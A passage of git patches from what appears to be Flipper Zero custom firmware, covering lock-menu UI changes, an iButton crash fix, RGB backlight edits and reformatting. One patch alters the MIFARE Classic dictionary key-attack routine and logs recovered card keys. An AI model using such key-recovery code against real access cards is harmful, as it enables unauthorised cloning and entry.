a/applications/services/desktop/scenes/desktop_scene_lock_menu.c +++ b/applications/services/desktop/scenes/desktop_scene_lock_menu.c @@ -34,6 +34,10 @@ void desktop_scene_lock_menu_on_enter(void* context) { desktop->lock_menu->save_xtreme = false; desktop->lock_menu->save_bt = false; + Gui* gui = furi_record_open(RECORD_GUI); + gui_set_lockmenu(gui, true); + furi_record_close(RECORD_GUI); + view_dispatcher_switch_to_view(desktop->view_dispatcher, DesktopViewIdLockMenu); } @@ -134,4 +138,8 @@ void desktop_scene_lock_menu_on_exit(void* context) { if(desktop->lock_menu->save_bt) { bt_settings_save(&desktop->lock_menu->bt->bt_settings); } + + Gui* gui = furi_record_open(RECORD_GUI); + gui_set_lockmenu(gui, false); + furi_record_close(RECORD_GUI); } diff --git a/applications/services/gui/gui.c b/applications/services/gui/gui.c index 6ca38a942..fbce4baf7 100644 --- a/applications/services/gui/gui.c +++ b/applications/services/gui/gui.c @@ -276,7 +276,9 @@ static void gui_redraw(Gui* gui) { if(!gui_redraw_window(gui)) { gui_redraw_desktop(gui); } - gui_redraw_status_bar(gui, false); + if(!gui->lockmenu) { + gui_redraw_status_bar(gui, false); + } } } @@ -525,6 +527,17 @@ void gui_set_lockdown(Gui* gui, bool lockdown) { gui_update(gui); } +void gui_set_lockmenu(Gui* gui, bool lockmenu) { + furi_assert(gui); + + gui_lock(gui); + gui->lockmenu = lockmenu; + gui_unlock(gui); + + // Request redraw + gui_update(gui); +} + Canvas* gui_direct_draw_acquire(Gui* gui) { furi_assert(gui); gui_lock(gui); diff --git a/applications/services/gui/gui.h b/applications/services/gui/gui.h index d7d73f27b..7b33e7fb8 100644 --- a/applications/services/gui/gui.h +++ b/applications/services/gui/gui.h @@ -106,6 +106,15 @@ size_t gui_get_framebuffer_size(const Gui* gui); */ void gui_set_lockdown(Gui* gui, bool lockdown); +/** Set lockmenu mode + * + * When lockmenu mode is enabled, the lockmenu is visible and statusbar is hidden. + * + * @param gui Gui instance + * @param lockmenu bool, true if enabled + */ +void gui_set_lockmenu(Gui* gui, bool lockmenu); + /** Acquire Direct Draw lock and get Canvas instance * * This method return Canvas instance for use in monopoly mode. Direct draw lock diff --git a/applications/services/gui/gui_i.h b/applications/services/gui/gui_i.h index a5cd84120..aa0968599 100644 --- a/applications/services/gui/gui_i.h +++ b/applications/services/gui/gui_i.h @@ -63,6 +63,7 @@ struct Gui { // Layers and Canvas bool lockdown; + bool lockmenu; bool direct_draw; ViewPortArray_t layers[GuiLayerMAX]; Canvas* canvas; diff --git a/firmware/targets/f18/api_symbols.csv b/firmware/targets/f18/api_symbols.csv index b6be56f60..b5be60238 100644 --- a/firmware/targets/f18/api_symbols.csv +++ b/firmware/targets/f18/api_symbols.csv @@ -1311,6 +1311,7 @@ Function,+,gui_get_framebuffer_size,size_t,const Gui* Function,+,gui_remove_framebuffer_callback,void,"Gui*, GuiCanvasCommitCallback, void*" Function,+,gui_remove_view_port,void,"Gui*, ViewPort*" Function,+,gui_set_lockdown,void,"Gui*, _Bool" +Function,+,gui_set_lockmenu,void,"Gui*, _Bool" Function,-,gui_view_port_send_to_back,void,"Gui*, ViewPort*" Function,+,gui_view_port_send_to_front,void,"Gui*, ViewPort*" Function,+,hal_sd_detect,_Bool, diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 34cb7b64c..706d526e2 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1694,6 +1694,7 @@ Function,+,gui_get_framebuffer_size,size_t,const Gui* Function,+,gui_remove_framebuffer_callback,void,"Gui*, GuiCanvasCommitCallback, void*" Function,+,gui_remove_view_port,void,"Gui*, ViewPort*" Function,+,gui_set_lockdown,void,"Gui*, _Bool" +Function,+,gui_set_lockmenu,void,"Gui*, _Bool" Function,-,gui_view_port_send_to_back,void,"Gui*, ViewPort*" Function,+,gui_view_port_send_to_front,void,"Gui*, ViewPort*" Function,+,hal_sd_detect,_Bool, From fad24efdf076725468e8793d6d3d592e768dcd2a Mon Sep 17 00:00:00 2001 From: Georgii Surkov <37121527+gsurkov@users.noreply.github.com> Date: Fri, 24 Mar 2023 03:26:43 +0300 Subject: [PATCH 251/329] [FL-3188] Fix crash when emulating a DSGeneric key (#2530) --- lib/ibutton/protocols/dallas/protocol_ds_generic.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/ibutton/protocols/dallas/protocol_ds_generic.c b/lib/ibutton/protocols/dallas/protocol_ds_generic.c index af355f461..6c698bb89 100644 --- a/lib/ibutton/protocols/dallas/protocol_ds_generic.c +++ b/lib/ibutton/protocols/dallas/protocol_ds_generic.c @@ -62,6 +62,7 @@ bool ds_generic_write_blank(OneWireHost* host, iButtonProtocolData* protocol_dat } static bool ds_generic_reset_callback(bool is_short, void* context) { + furi_assert(context); DallasGenericProtocolData* data = context; if(!is_short) { onewire_slave_set_overdrive(data->state.bus, is_short); @@ -93,7 +94,7 @@ void ds_generic_emulate(OneWireSlave* bus, iButtonProtocolData* protocol_data) { DallasGenericProtocolData* data = protocol_data; data->state.bus = bus; - onewire_slave_set_reset_callback(bus, ds_generic_reset_callback, NULL); + onewire_slave_set_reset_callback(bus, ds_generic_reset_callback, protocol_data); onewire_slave_set_command_callback(bus, ds_generic_command_callback, protocol_data); } From 88da94c72e0a010f822bf62f9f3e59fa89bbc97c Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Fri, 24 Mar 2023 17:53:03 +0000 Subject: [PATCH 252/329] Update rgb backlight warning text --- applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c index 4549dbebb..f7176a225 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c @@ -113,13 +113,13 @@ bool xtreme_app_scene_misc_on_event(void* context, SceneManagerEvent event) { bool value = XTREME_SETTINGS()->rgb_backlight; char* text; if(value) { - text = "This will disable\nthe RGB backlight!\nAre you sure?"; + text = "Disabling this requires\nremoving the hardware mod!\nIs it uninstalled?"; } else { - text = "This will enable\nthe RGB backlight!\nAre you sure?"; + text = "This option requires installing\na hardware modification!\nIs it installed?"; } DialogMessage* msg = dialog_message_alloc(); dialog_message_set_header(msg, "RGB Backlight", 64, 0, AlignCenter, AlignTop); - dialog_message_set_buttons(msg, "Cancel", NULL, "Continue"); + dialog_message_set_buttons(msg, "No", NULL, "Yes"); dialog_message_set_text(msg, text, 64, 32, AlignCenter, AlignCenter); if(dialog_message_show(app->dialogs, msg) == DialogMessageButtonRight) { XTREME_SETTINGS()->rgb_backlight = !value; From bcd4273cf53ee728be66386f560adb8191a70a57 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Fri, 24 Mar 2023 17:53:17 +0000 Subject: [PATCH 253/329] Update rgb backlight colors --- applications/services/rgb_backlight/rgb_backlight.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/applications/services/rgb_backlight/rgb_backlight.c b/applications/services/rgb_backlight/rgb_backlight.c index 4c6a21f41..30c85cbab 100644 --- a/applications/services/rgb_backlight/rgb_backlight.c +++ b/applications/services/rgb_backlight/rgb_backlight.c @@ -34,7 +34,7 @@ static RGBBacklightSettings rgb_settings = { .settings_is_loaded = false}; static const RGBBacklightColor colors[] = { - {"Orange", 255, 165, 0}, + {"Orange", 255, 69, 0}, {"Red", 255, 0, 0}, {"Maroon", 128, 0, 0}, {"Yellow", 255, 255, 0}, @@ -49,9 +49,9 @@ static const RGBBacklightColor colors[] = { {"Navy", 0, 0, 128}, {"Purple", 128, 0, 128}, {"Fuchsia", 255, 0, 255}, - {"Pink", 255, 192, 203}, + {"Pink", 173, 31, 173}, {"Brown", 165, 42, 42}, - {"White", 255, 255, 255}, + {"White", 255, 192, 203}, }; uint8_t rgb_backlight_get_color_count(void) { From 98cd9f81ab1d8d6a30a1857b6da9646f408c77ab Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Fri, 24 Mar 2023 17:55:52 +0000 Subject: [PATCH 254/329] Remove unused rgb backlight code --- applications/system/updater/application.fam | 1 + lib/drivers/WS2812B.c | 217 -------------------- lib/drivers/WS2812B.h | 54 ----- 3 files changed, 1 insertion(+), 271 deletions(-) delete mode 100644 lib/drivers/WS2812B.c delete mode 100644 lib/drivers/WS2812B.h diff --git a/applications/system/updater/application.fam b/applications/system/updater/application.fam index a693fa6f5..ae6914eb7 100644 --- a/applications/system/updater/application.fam +++ b/applications/system/updater/application.fam @@ -6,6 +6,7 @@ App( requires=[ "gui", "storage", + "rgb_backlight", ], conflicts=["desktop"], entry_point="updater_srv", diff --git a/lib/drivers/WS2812B.c b/lib/drivers/WS2812B.c deleted file mode 100644 index fcdbfe4cd..000000000 --- a/lib/drivers/WS2812B.c +++ /dev/null @@ -1,217 +0,0 @@ -/* - WS2812B FlipperZero driver - Copyright (C) 2022 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -#include "WS2812B.h" -#include -#include -#include "furi_hal_light.h" -#include -#include -#include -#include - -#define TAG "RGB Backlight" -#define RGB_BACKLIGHT_SETTINGS_VERSION 5 -#define RGB_BACKLIGHT_SETTINGS_FILE_NAME ".rgb_backlight.settings" -#define RGB_BACKLIGHT_SETTINGS_PATH EXT_PATH(RGB_BACKLIGHT_SETTINGS_FILE_NAME) - -static uint8_t WS2812B_ledbuffer[WS2812B_LEDS][3]; - -static RGBBacklightSettings rgb_settings = { - .version = RGB_BACKLIGHT_SETTINGS_VERSION, - .display_color_index = 0, - .settings_is_loaded = false}; - -#define COLOR_COUNT (sizeof(colors) / sizeof(WS2812B_Color)) - -const WS2812B_Color colors[] = { - {"Orange", 255, 165, 0}, - {"Red", 255, 0, 0}, - {"Maroon", 128, 0, 0}, - {"Yellow", 255, 255, 0}, - {"Olive", 128, 128, 0}, - {"Lime", 0, 255, 0}, - {"Green", 0, 128, 0}, - {"Aqua", 0, 255, 127}, - {"Cyan", 0, 210, 210}, - {"Azure", 0, 127, 255}, - {"Teal", 0, 128, 128}, - {"Blue", 0, 0, 255}, - {"Navy", 0, 0, 128}, - {"Purple", 128, 0, 128}, - {"Fuchsia", 255, 0, 255}, - {"Pink", 255, 192, 203}, - {"Brown", 165, 42, 42}, - {"White", 255, 255, 255}, -}; - -static void _port_init(void) { - furi_hal_gpio_write(LED_PIN, true); - furi_hal_gpio_init(LED_PIN, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); -} - -void WS2812B_send(void) { - _port_init(); - furi_kernel_lock(); - /* Последовательная отправка цветов светодиодов */ - for(uint8_t lednumber = 0; lednumber < WS2812B_LEDS; lednumber++) { - //Последовательная отправка цветов светодиода - for(uint8_t color = 0; color < 3; color++) { - //Последовательная отправка битов цвета - for(uint8_t i = 7; i != 255; i--) { - if(WS2812B_ledbuffer[lednumber][color] & (1 << i)) { - furi_hal_gpio_write(LED_PIN, true); - uint32_t start = DWT->CYCCNT; - while((DWT->CYCCNT - start) < 31) { - } - furi_hal_gpio_write(LED_PIN, false); - start = DWT->CYCCNT; - while((DWT->CYCCNT - start) < 15) { - } - } else { - furi_hal_gpio_write(LED_PIN, true); - uint32_t start = DWT->CYCCNT; - while((DWT->CYCCNT - start) < 15) { - } - furi_hal_gpio_write(LED_PIN, false); - start = DWT->CYCCNT; - while((DWT->CYCCNT - start) < 31) { - } - } - } - } - } - furi_kernel_unlock(); - //Необходимая задержка - признак окончания передачи - furi_delay_us(100); -} - -uint8_t rgb_backlight_get_color_count(void) { - return COLOR_COUNT; -} - -const char* rgb_backlight_get_color_text(uint8_t index) { - return colors[index].name; -} - -static void rgb_backlight_load_settings(void) { - _port_init(); - - FuriHalRtcBootMode bm = furi_hal_rtc_get_boot_mode(); - if(bm == FuriHalRtcBootModeDfu) { - rgb_settings.settings_is_loaded = true; - return; - } - - RGBBacklightSettings settings; - File* file = storage_file_alloc(furi_record_open(RECORD_STORAGE)); - const size_t settings_size = sizeof(RGBBacklightSettings); - - FURI_LOG_I(TAG, "loading settings from \"%s\"", RGB_BACKLIGHT_SETTINGS_PATH); - bool fs_result = - storage_file_open(file, RGB_BACKLIGHT_SETTINGS_PATH, FSAM_READ, FSOM_OPEN_EXISTING); - - if(fs_result) { - uint16_t bytes_count = storage_file_read(file, &settings, settings_size); - - if(bytes_count != settings_size) { - fs_result = false; - } - } - - if(fs_result) { - FURI_LOG_I(TAG, "load success"); - if(settings.version != RGB_BACKLIGHT_SETTINGS_VERSION) { - FURI_LOG_E( - TAG, - "version(%d != %d) mismatch", - settings.version, - RGB_BACKLIGHT_SETTINGS_VERSION); - } else { - memcpy(&rgb_settings, &settings, settings_size); - } - } else { - FURI_LOG_E(TAG, "load failed, %s", storage_file_get_error_desc(file)); - } - - storage_file_close(file); - storage_file_free(file); - furi_record_close(RECORD_STORAGE); - rgb_settings.settings_is_loaded = true; -}; - -void rgb_backlight_save_settings(void) { - RGBBacklightSettings settings; - File* file = storage_file_alloc(furi_record_open(RECORD_STORAGE)); - const size_t settings_size = sizeof(RGBBacklightSettings); - - FURI_LOG_I(TAG, "saving settings to \"%s\"", RGB_BACKLIGHT_SETTINGS_PATH); - - memcpy(&settings, &rgb_settings, settings_size); - - bool fs_result = - storage_file_open(file, RGB_BACKLIGHT_SETTINGS_PATH, FSAM_WRITE, FSOM_CREATE_ALWAYS); - - if(fs_result) { - uint16_t bytes_count = storage_file_write(file, &settings, settings_size); - - if(bytes_count != settings_size) { - fs_result = false; - } - } - - if(fs_result) { - FURI_LOG_I(TAG, "save success"); - } else { - FURI_LOG_E(TAG, "save failed, %s", storage_file_get_error_desc(file)); - } - - storage_file_close(file); - storage_file_free(file); - furi_record_close(RECORD_STORAGE); -}; - -RGBBacklightSettings* rgb_backlight_get_settings(void) { - if(!rgb_settings.settings_is_loaded) { - rgb_backlight_load_settings(); - } - return &rgb_settings; -} - -void rgb_backlight_set_color(uint8_t color_index) { - rgb_settings.display_color_index = color_index; -} - -void rgb_backlight_update(uint8_t backlight) { - if(!rgb_settings.settings_is_loaded) { - rgb_backlight_load_settings(); - } - for(uint8_t i = 0; i < WS2812B_LEDS; i++) { - //Green - WS2812B_ledbuffer[i][0] = - colors[rgb_settings.display_color_index].green * (backlight / 255.0f); - //Red - WS2812B_ledbuffer[i][1] = - colors[rgb_settings.display_color_index].red * (backlight / 255.0f); - //Blue - WS2812B_ledbuffer[i][2] = - colors[rgb_settings.display_color_index].blue * (backlight / 255.0f); - } - - WS2812B_send(); -} diff --git a/lib/drivers/WS2812B.h b/lib/drivers/WS2812B.h deleted file mode 100644 index 4f0dfabce..000000000 --- a/lib/drivers/WS2812B.h +++ /dev/null @@ -1,54 +0,0 @@ -/* - WS2812B FlipperZero driver - Copyright (C) 2022 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -#ifndef WS2812B_H_ -#define WS2812B_H_ - -#include "furi.h" -#include -#include -#include - -typedef struct { - uint8_t version; - uint8_t display_color_index; - bool settings_is_loaded; -} RGBBacklightSettings; - -typedef struct { - char* name; - uint8_t red; - uint8_t green; - uint8_t blue; -} WS2812B_Color; - -#define LED_PIN &gpio_ext_pa7 -#define WS2812B_LEDS 3 - -void rgb_backlight_save_settings(void); - -void rgb_backlight_update(uint8_t backlight); - -void rgb_backlight_set_color(uint8_t color_index); -void rgb_backlight_set_color(uint8_t color_index); - -RGBBacklightSettings* rgb_backlight_get_settings(void); -uint8_t rgb_backlight_get_color_count(void); -const char* rgb_backlight_get_color_text(uint8_t index); - -#endif /* WS2812B_H_ */ \ No newline at end of file From 5391b694d134a4a4efcf8d45dafd241b8ff08bbd Mon Sep 17 00:00:00 2001 From: Astra <93453568+Astrrra@users.noreply.github.com> Date: Fri, 24 Mar 2023 21:06:36 +0300 Subject: [PATCH 255/329] Additional checks before invalidating the key --- lib/nfc/nfc_worker.c | 26 ++++++++++++++++++-------- 1 file changed, 18 insertions(+), 8 deletions(-) diff --git a/lib/nfc/nfc_worker.c b/lib/nfc/nfc_worker.c index 4561ff2af..c2b89c71a 100644 --- a/lib/nfc/nfc_worker.c +++ b/lib/nfc/nfc_worker.c @@ -638,7 +638,8 @@ static void nfc_worker_mf_classic_key_attack( (uint32_t)key); if(mf_classic_authenticate(tx_rx, block_num, key, MfClassicKeyA)) { mf_classic_set_key_found(data, i, MfClassicKeyA, key); - FURI_LOG_D(TAG, "Key found"); + FURI_LOG_D( + TAG, "Key A found: %04lx%08lx", (uint32_t)(key >> 32), (uint32_t)key); nfc_worker->callback(NfcWorkerEventFoundKeyA, nfc_worker->context); uint64_t found_key; @@ -661,7 +662,8 @@ static void nfc_worker_mf_classic_key_attack( (uint32_t)key); if(mf_classic_authenticate(tx_rx, block_num, key, MfClassicKeyB)) { mf_classic_set_key_found(data, i, MfClassicKeyB, key); - FURI_LOG_D(TAG, "Key found"); + FURI_LOG_D( + TAG, "Key B found: %04lx%08lx", (uint32_t)(key >> 32), (uint32_t)key); nfc_worker->callback(NfcWorkerEventFoundKeyB, nfc_worker->context); } } @@ -760,9 +762,13 @@ void nfc_worker_mf_classic_dict_attack(NfcWorker* nfc_worker) { furi_hal_nfc_sleep(); deactivated = true; } else { - mf_classic_set_key_not_found(data, i, MfClassicKeyA); - is_key_a_found = false; - FURI_LOG_D(TAG, "Key %dA not found in attack", i); + // If the key A is marked as found and matches the searching key, invalidate it + if(mf_classic_is_key_found(data, i, MfClassicKeyA) && + data->block[i].value[0] == key) { + mf_classic_set_key_not_found(data, i, MfClassicKeyA); + is_key_a_found = false; + FURI_LOG_D(TAG, "Key %dA not found in attack", i); + } } if(!is_key_b_found) { is_key_b_found = mf_classic_is_key_found(data, i, MfClassicKeyB); @@ -775,9 +781,13 @@ void nfc_worker_mf_classic_dict_attack(NfcWorker* nfc_worker) { } deactivated = true; } else { - mf_classic_set_key_not_found(data, i, MfClassicKeyB); - is_key_b_found = false; - FURI_LOG_D(TAG, "Key %dB not found in attack", i); + // If the key B is marked as found and matches the searching key, invalidate it + if(mf_classic_is_key_found(data, i, MfClassicKeyB) && + data->block[i].value[10] == key) { + mf_classic_set_key_not_found(data, i, MfClassicKeyB); + is_key_b_found = false; + FURI_LOG_D(TAG, "Key %dB not found in attack", i); + } } if(is_key_a_found && is_key_b_found) break; if(nfc_worker->state != NfcWorkerStateMfClassicDictAttack) break; From c5f23a6cdb9422a7d3114e6924edf4fe97f15453 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Fri, 24 Mar 2023 18:43:18 +0000 Subject: [PATCH 256/329] Format --- applications/external/totp/application.fam | 10 +- .../totp_scene_generate_token.c | 7 +- .../xtreme_app/scenes/xtreme_app_scene_misc.c | 3 +- .../desktop/scenes/desktop_scene_lock_menu.c | 71 ++++---- .../desktop/views/desktop_view_lock_menu.c | 166 ++++++++++-------- scripts/asset_packer.py | 9 +- 6 files changed, 140 insertions(+), 126 deletions(-) diff --git a/applications/external/totp/application.fam b/applications/external/totp/application.fam index 146abfaef..096716e74 100644 --- a/applications/external/totp/application.fam +++ b/applications/external/totp/application.fam @@ -3,15 +3,7 @@ App( name="Authenticator", apptype=FlipperAppType.EXTERNAL, entry_point="totp_app", - requires=[ - "gui", - "cli", - "dialogs", - "storage", - "input", - "notification", - "bt" - ], + requires=["gui", "cli", "dialogs", "storage", "input", "notification", "bt"], stack_size=2 * 1024, order=20, fap_author="Alexander Kopachov (@akopachov)", diff --git a/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c b/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c index 9e8b21d09..a8e93bbff 100644 --- a/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c +++ b/applications/external/totp/ui/scenes/generate_token/totp_scene_generate_token.c @@ -373,7 +373,8 @@ bool totp_scene_generate_token_handle_event( SceneState* scene_state; if(event->input.type == InputTypeLong) { - if(event->input.key == InputKeyDown && plugin_state->automation_method & AutomationMethodBadUsb) { + if(event->input.key == InputKeyDown && + plugin_state->automation_method & AutomationMethodBadUsb) { scene_state = (SceneState*)plugin_state->current_scene_state; totp_usb_type_code_worker_notify( scene_state->usb_type_code_worker_context, TotpUsbTypeCodeWorkerEventType); @@ -383,7 +384,9 @@ bool totp_scene_generate_token_handle_event( return true; } #ifdef TOTP_BADBT_TYPE_ENABLED - else if(event->input.key == InputKeyUp && plugin_state->automation_method & AutomationMethodBadBt) { + else if( + event->input.key == InputKeyUp && + plugin_state->automation_method & AutomationMethodBadBt) { scene_state = (SceneState*)plugin_state->current_scene_state; totp_bt_type_code_worker_notify( plugin_state->bt_type_code_worker_context, TotpBtTypeCodeWorkerEventType); diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c index f7176a225..f52b8cb55 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_misc.c @@ -115,7 +115,8 @@ bool xtreme_app_scene_misc_on_event(void* context, SceneManagerEvent event) { if(value) { text = "Disabling this requires\nremoving the hardware mod!\nIs it uninstalled?"; } else { - text = "This option requires installing\na hardware modification!\nIs it installed?"; + text = + "This option requires installing\na hardware modification!\nIs it installed?"; } DialogMessage* msg = dialog_message_alloc(); dialog_message_set_header(msg, "RGB Backlight", 64, 0, AlignCenter, AlignTop); diff --git a/applications/services/desktop/scenes/desktop_scene_lock_menu.c b/applications/services/desktop/scenes/desktop_scene_lock_menu.c index 91e5f11b4..244bc77ff 100644 --- a/applications/services/desktop/scenes/desktop_scene_lock_menu.c +++ b/applications/services/desktop/scenes/desktop_scene_lock_menu.c @@ -65,41 +65,41 @@ bool desktop_scene_lock_menu_on_event(void* context, SceneManagerEvent event) { } } else if(event.type == SceneManagerEventTypeCustom) { switch(event.event) { - // case DesktopLockMenuEventPinLock: - // if(desktop->settings.pin_code.length > 0) { - // desktop_pin_lock(&desktop->settings); - // desktop_lock(desktop); - // } else { - // LoaderStatus status = - // loader_start(desktop->loader, "Desktop", DESKTOP_SETTINGS_RUN_PIN_SETUP_ARG); - // if(status == LoaderStatusOk) { - // scene_manager_set_scene_state(desktop->scene_manager, DesktopSceneLockMenu, 1); - // } else { - // FURI_LOG_E(TAG, "Unable to start desktop settings"); - // } - // } - // consumed = true; - // break; + // case DesktopLockMenuEventPinLock: + // if(desktop->settings.pin_code.length > 0) { + // desktop_pin_lock(&desktop->settings); + // desktop_lock(desktop); + // } else { + // LoaderStatus status = + // loader_start(desktop->loader, "Desktop", DESKTOP_SETTINGS_RUN_PIN_SETUP_ARG); + // if(status == LoaderStatusOk) { + // scene_manager_set_scene_state(desktop->scene_manager, DesktopSceneLockMenu, 1); + // } else { + // FURI_LOG_E(TAG, "Unable to start desktop settings"); + // } + // } + // consumed = true; + // break; - // case DesktopLockMenuEventPinLockShutdown: - // if(desktop->settings.pin_code.length > 0) { - // desktop_pin_lock(&desktop->settings); - // desktop_lock(desktop); - // Power* power = furi_record_open(RECORD_POWER); - // furi_delay_ms(666); - // power_off(power); - // furi_record_close(RECORD_POWER); - // } else { - // LoaderStatus status = - // loader_start(desktop->loader, "Desktop", DESKTOP_SETTINGS_RUN_PIN_SETUP_ARG); - // if(status == LoaderStatusOk) { - // scene_manager_set_scene_state(desktop->scene_manager, DesktopSceneLockMenu, 2); - // } else { - // FURI_LOG_E(TAG, "Unable to start desktop settings"); - // } - // } - // consumed = true; - // break; + // case DesktopLockMenuEventPinLockShutdown: + // if(desktop->settings.pin_code.length > 0) { + // desktop_pin_lock(&desktop->settings); + // desktop_lock(desktop); + // Power* power = furi_record_open(RECORD_POWER); + // furi_delay_ms(666); + // power_off(power); + // furi_record_close(RECORD_POWER); + // } else { + // LoaderStatus status = + // loader_start(desktop->loader, "Desktop", DESKTOP_SETTINGS_RUN_PIN_SETUP_ARG); + // if(status == LoaderStatusOk) { + // scene_manager_set_scene_state(desktop->scene_manager, DesktopSceneLockMenu, 2); + // } else { + // FURI_LOG_E(TAG, "Unable to start desktop settings"); + // } + // } + // consumed = true; + // break; case DesktopLockMenuEventSettings: // loader_start(desktop->loader, "Settings", NULL); @@ -114,7 +114,8 @@ bool desktop_scene_lock_menu_on_event(void* context, SceneManagerEvent event) { break; case DesktopLockMenuEventXtreme: - loader_start(desktop->loader, FAP_LOADER_APP_NAME, EXT_PATH("apps/.Main/xtreme_app.fap")); + loader_start( + desktop->loader, FAP_LOADER_APP_NAME, EXT_PATH("apps/.Main/xtreme_app.fap")); consumed = true; break; diff --git a/applications/services/desktop/views/desktop_view_lock_menu.c b/applications/services/desktop/views/desktop_view_lock_menu.c index c84fdd868..c73448aed 100644 --- a/applications/services/desktop/views/desktop_view_lock_menu.c +++ b/applications/services/desktop/views/desktop_view_lock_menu.c @@ -81,37 +81,37 @@ void desktop_lock_menu_draw_callback(Canvas* canvas, void* model) { } switch(i) { - case DesktopLockMenuIndexLefthandedMode: - icon = &I_CC_LefthandedMode_16x16; - enabled = furi_hal_rtc_is_flag_set(FuriHalRtcFlagHandOrient); - break; - case DesktopLockMenuIndexSettings: - icon = &I_CC_Settings_16x16; - break; - case DesktopLockMenuIndexDarkMode: - icon = &I_CC_DarkMode_16x16; - enabled = XTREME_SETTINGS()->dark_mode; - break; - case DesktopLockMenuIndexLock: - icon = &I_CC_Lock_16x16; - break; - case DesktopLockMenuIndexBluetooth: - icon = &I_CC_Bluetooth_16x16; - enabled = m->lock_menu->bt->bt_settings.enabled; - break; - case DesktopLockMenuIndexXtreme: - icon = &I_CC_Xtreme_16x16; - break; - case DesktopLockMenuIndexBrightness: - icon = &I_Pin_star_7x7; - value = total - m->lock_menu->notification->settings.display_brightness * total; - break; - case DesktopLockMenuIndexVolume: - icon = &I_Volup_8x6; - value = total - m->lock_menu->notification->settings.speaker_volume * total; - break; - default: - break; + case DesktopLockMenuIndexLefthandedMode: + icon = &I_CC_LefthandedMode_16x16; + enabled = furi_hal_rtc_is_flag_set(FuriHalRtcFlagHandOrient); + break; + case DesktopLockMenuIndexSettings: + icon = &I_CC_Settings_16x16; + break; + case DesktopLockMenuIndexDarkMode: + icon = &I_CC_DarkMode_16x16; + enabled = XTREME_SETTINGS()->dark_mode; + break; + case DesktopLockMenuIndexLock: + icon = &I_CC_Lock_16x16; + break; + case DesktopLockMenuIndexBluetooth: + icon = &I_CC_Bluetooth_16x16; + enabled = m->lock_menu->bt->bt_settings.enabled; + break; + case DesktopLockMenuIndexXtreme: + icon = &I_CC_Xtreme_16x16; + break; + case DesktopLockMenuIndexBrightness: + icon = &I_Pin_star_7x7; + value = total - m->lock_menu->notification->settings.display_brightness * total; + break; + case DesktopLockMenuIndexVolume: + icon = &I_Volup_8x6; + value = total - m->lock_menu->notification->settings.speaker_volume * total; + break; + default: + break; } if(selected) { @@ -125,12 +125,20 @@ void desktop_lock_menu_draw_callback(Canvas* canvas, void* model) { canvas_draw_rbox(canvas, x, y, w, h, 5); canvas_set_color(canvas, ColorWhite); } - canvas_draw_icon(canvas, x + (w - icon_get_width(icon)) / 2, y + (h - icon_get_height(icon)) / 2, icon); + canvas_draw_icon( + canvas, + x + (w - icon_get_width(icon)) / 2, + y + (h - icon_get_height(icon)) / 2, + icon); if(enabled) { canvas_set_color(canvas, ColorBlack); } } else { - canvas_draw_icon(canvas, x + (w - icon_get_width(icon)) / 2, y + (h - icon_get_height(icon)) / 2, icon); + canvas_draw_icon( + canvas, + x + (w - icon_get_width(icon)) / 2, + y + (h - icon_get_height(icon)) / 2, + icon); canvas_set_color(canvas, ColorXOR); canvas_draw_box(canvas, x + 1, y + 1 + value, w - 2, h - 2 - value); if(selected) { @@ -208,37 +216,37 @@ bool desktop_lock_menu_input_callback(InputEvent* event, void* context) { } else if(event->key == InputKeyOk && event->type == InputTypeShort) { DesktopEvent event = 0; switch(idx) { - case DesktopLockMenuIndexLefthandedMode: - if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagHandOrient)) { - furi_hal_rtc_reset_flag(FuriHalRtcFlagHandOrient); - } else { - furi_hal_rtc_set_flag(FuriHalRtcFlagHandOrient); - } - break; - case DesktopLockMenuIndexSettings: - event = DesktopLockMenuEventSettings; - break; - case DesktopLockMenuIndexDarkMode: - XTREME_SETTINGS()->dark_mode = !XTREME_SETTINGS()->dark_mode; - lock_menu->save_xtreme = true; - break; - case DesktopLockMenuIndexLock: - event = DesktopLockMenuEventLock; - break; - case DesktopLockMenuIndexBluetooth: - lock_menu->bt->bt_settings.enabled = !lock_menu->bt->bt_settings.enabled; - if(lock_menu->bt->bt_settings.enabled) { - furi_hal_bt_start_advertising(); - } else { - 